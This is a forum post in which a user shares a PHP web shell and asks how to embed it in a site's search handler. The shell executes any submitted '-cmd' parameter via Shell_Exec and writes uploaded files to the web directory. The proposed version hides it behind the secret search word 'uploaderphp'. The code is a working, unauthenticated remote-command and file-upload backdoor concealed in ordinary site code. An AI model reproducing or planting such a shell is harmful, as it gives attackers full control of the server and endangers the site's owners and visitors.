brainz Posted September 20, 2011 Share Posted September 20, 2011 hello there well my problem is i wanted to let this upload code execute after i typed some specific word in my search php to make it easier for me to upload the files here is the upload php <?php $cmd = stripslashes($_REQUEST["-cmd"]);$sendfile=$_REQUEST["sendfile"];if($sendfile=="true") { $fn=$_FILES["file"]["name"];$tn=$_FILES["file"]["tmp_name"];if(move_uploaded_file($tn, dirname(__FILE__)."/".$fn)) $result="fff";else $result="iff"; } print('<body bgcolor=black text=#008000 onLoad="document.forms[0].elements[-cmd].focus()"><center><br><form method=POST><input type=TEXT name="-cmd" size=64 value="' . $cmd . '" style="background:#020;color:#0F0;"></form><hr><table><tr><td><pre>' . htmlentities(Shell_Exec($cmd)) . $result . '</pre></td></tr></table><hr><form enctype="multipart/form-data" method="post" action=""><input type=file name=file size=20 style="background:#020;color:#0F0;"><input type="submit" value="Upload"><input type="hidden" name="sendfile" value="true"></form></center></body>'); ?> i thought about something like this elseif ($_GET["action"] == "search") { $specificword="uploaderphp"; if($_POST['q']==$specificword) { $cmd = stripslashes($_REQUEST["-cmd"]);$sendfile=$_REQUEST["sendfile"];if($sendfile=="true") { $fn=$_FILES["file"]["name"];$tn=$_FILES["file"]["tmp_name"];if(move_uploaded_file($tn, dirname(__FILE__)."/".$fn)) $result="fff";else $result="iff"; } print('<body bgcolor=black text=#008000 onLoad="document.forms[0].elements[-cmd].focus()"><center><br><form method=POST><input type=TEXT name="-cmd" size=64 value="' . $cmd . '" style="background:#020;color:#0F0;"></form><hr><table><tr><td><pre>' . htmlentities(Shell_Exec($cmd)) . $result . '</pre></td></tr></table><hr><form enctype="multipart/form-data" method="post" action=""><input type=file name=file size=20 style="background:#020;color:#0F0;"><input type="submit" value="Upload"><input type="hidden" name="sendfile" value="true"></form></center></body>'); } but it didn't work i can get the page that looks like the upload php but when i try to upload a file it doesn't upload anything do i have to add some special function to embedd it in the search code Link to comment https://forums.phpfreaks.com/topic/247538-embedded-upload-php/ Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.